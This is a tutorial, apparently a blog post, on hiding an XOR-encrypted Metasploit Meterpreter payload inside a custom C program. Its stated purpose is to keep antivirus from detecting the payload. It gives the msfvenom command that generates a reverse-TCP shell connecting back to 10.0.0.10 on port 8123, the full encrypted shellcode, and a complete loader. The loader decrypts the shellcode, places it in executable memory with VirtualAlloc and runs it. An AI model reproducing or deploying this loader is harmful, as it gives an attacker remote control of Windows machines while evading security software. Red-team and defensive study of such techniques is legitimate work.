This is a quick demonstration of how to embed Metasploit payloads in custom C programs. The payload is encrypted and the containing program is custom written.

Generating the payload

First, use msfvenom to generate the shellcode of choice. Here is a simple Meterpreter payload that connects back to 10.0.0.10 on port 8123:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=8123 -f c --encrypt xor --encrypt-key 32

This will “encrypt” the payload by XORing it with the key, 32, in this example. The key is hex.

The output of this will look something like this:

    int payload_size = 510;
    unsigned char payload[] =
        "\xce\x7a\xb1\xd6\xc2\xda\xfe\x32\x32\x32\x73\x63\x73\x62\x60"
        "\x7a\x03\xe0\x63\x57\x7a\xb9\x60\x52\x64\x7a\xb9\x60\x2a\x7a"
        "\xb9\x60\x12\x7a\xb9\x40\x62\x7f\x03\xfb\x7a\x3d\x85\x78\x78"
        "\x7a\x03\xf2\x9e\x0e\x53\x4e\x30\x1e\x12\x73\xf3\xfb\x3f\x73"
...

Custom Program

The following is a simple C program which can be compiled with Visual Studio. The code generated above will be decrypted and then executed.

The key here is hard-coded, but this is sufficient that AV won’t see anything, at least until it is about to be executed.

include "stdafx.h"
include "windows.h"
include <iostream>

using namespace std;

int main()
{
    int payload_size = 510;
    unsigned char payload[] =
        "\xce\x7a\xb1\xd6\xc2\xda\xfe\x32\x32\x32\x73\x63\x73\x62\x60"
        "\x7a\x03\xe0\x63\x57\x7a\xb9\x60\x52\x64\x7a\xb9\x60\x2a\x7a"
        "\xb9\x60\x12\x7a\xb9\x40\x62\x7f\x03\xfb\x7a\x3d\x85\x78\x78"
        "\x7a\x03\xf2\x9e\x0e\x53\x4e\x30\x1e\x12\x73\xf3\xfb\x3f\x73"
        "\x33\xf3\xd0\xdf\x60\x73\x63\x7a\xb9\x60\x12\xb9\x70\x0e\x7a"
        "\x33\xe2\x54\xb3\x4a\x2a\x39\x30\x3d\xb7\x40\x32\x32\x32\xb9"
        "\xb2\xba\x32\x32\x32\x7a\xb7\xf2\x46\x55\x7a\x33\xe2\x76\xb9"
        "\x72\x12\x62\xb9\x7a\x2a\x7b\x33\xe2\xd1\x64\x7f\x03\xfb\x7a"
        "\xcd\xfb\x73\xb9\x06\xba\x7a\x33\xe4\x7a\x03\xf2\x9e\x73\xf3"
        "\xfb\x3f\x73\x33\xf3\x0a\xd2\x47\xc3\x7e\x31\x7e\x16\x3a\x77"
        "\x0b\xe3\x47\xea\x6a\x76\xb9\x72\x16\x7b\x33\xe2\x54\x73\xb9"
        "\x3e\x7a\x76\xb9\x72\x2e\x7b\x33\xe2\x73\xb9\x36\xba\x73\x6a"
        "\x73\x6a\x7a\x33\xe2\x6c\x6b\x68\x73\x6a\x73\x6b\x73\x68\x7a"
        "\xb1\xde\x12\x73\x60\xcd\xd2\x6a\x73\x6b\x68\x7a\xb9\x20\xdb"
        "\x79\xcd\xcd\xcd\x6f\x7b\x8c\x45\x41\x00\x6d\x01\x00\x32\x32"
        "\x73\x64\x7b\xbb\xd4\x7a\xb3\xde\x92\x33\x32\x32\x7b\xbb\xd7"
        "\x7b\x8e\x30\x32\x12\x2c\x38\x32\x32\x31\x73\x66\x7b\xbb\xd6"
        "\x7e\xbb\xc3\x73\x88\x7e\x45\x14\x35\xcd\xe7\x7e\xbb\xd8\x5a"
        "\x33\x33\x32\x32\x6b\x73\x88\x1b\xb2\x59\x32\xcd\xe7\x58\x38"
        "\x73\x6c\x62\x62\x7f\x03\xfb\x7f\x03\xf2\x7a\xcd\xf2\x7a\xbb"
        "\xf0\x7a\xcd\xf2\x7a\xbb\xf3\x73\x88\xd8\x3d\xed\xd2\xcd\xe7"
        "\x7a\xbb\xf5\x58\x22\x73\x6a\x7e\xbb\xd0\x7a\xbb\xcb\x73\x88"
        "\xab\x97\x46\x53\xcd\xe7\xb7\xf2\x46\x38\x7b\xcd\xfc\x47\xd7"
        "\xda\xa1\x32\x32\x32\x7a\xb1\xde\x22\x7a\xbb\xd0\x7f\x03\xfb"
        "\x58\x36\x73\x6a\x7a\xbb\xcb\x73\x88\x30\xeb\xfa\x6d\xcd\xe7"
        "\xb1\xca\x32\x4c\x67\x7a\xb1\xf6\x12\x6c\xbb\xc4\x58\x72\x73"
        "\x6b\x5a\x32\x22\x32\x32\x73\x6a\x7a\xbb\xc0\x7a\x03\xfb\x73"
        "\x88\x6a\x96\x61\xd7\xcd\xe7\x7a\xbb\xf1\x7b\xbb\xf5\x7f\x03"
        "\xfb\x7b\xbb\xc2\x7a\xbb\xe8\x7a\xbb\xcb\x73\x88\x30\xeb\xfa"
        "\x6d\xcd\xe7\xb1\xca\x32\x4f\x1a\x6a\x73\x65\x6b\x5a\x32\x72"
        "\x32\x32\x73\x6a\x58\x32\x68\x73\x88\x39\x1d\x3d\x02\xcd\xe7"
        "\x65\x6b\x73\x88\x47\x5c\x7f\x53\xcd\xe7\x7b\xcd\xfc\xdb\x0e"
        "\xcd\xcd\xcd\x7a\x33\xf1\x7a\x1b\xf4\x7a\xb7\xc4\x47\x86\x73"
        "\xcd\xd5\x6a\x58\x32\x6b\x7b\xf5\xf0\xc2\x87\x90\x64\xcd\xe7";


    unsigned char key = '\x32';

    for (int i = 0; i < payload_size; i++) {
        payload[i] = payload[i] ^ key;
    }

    char x;
    //printf("yay it works\n");
    cout << "here 1" << endl;
    cout << "press enter" << endl;
    cin >> x;
    cout << "proceeding" << endl;

    char *code;
    code = (char*)VirtualAlloc(NULL, payload_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    cout << "VA worked" << endl;
    memcpy(code, payload, payload_size);
    cout << "memcpy worked" << endl;
    ((void(*)())code)();
    cout << "at end, somehow" << endl;

    return 0;
}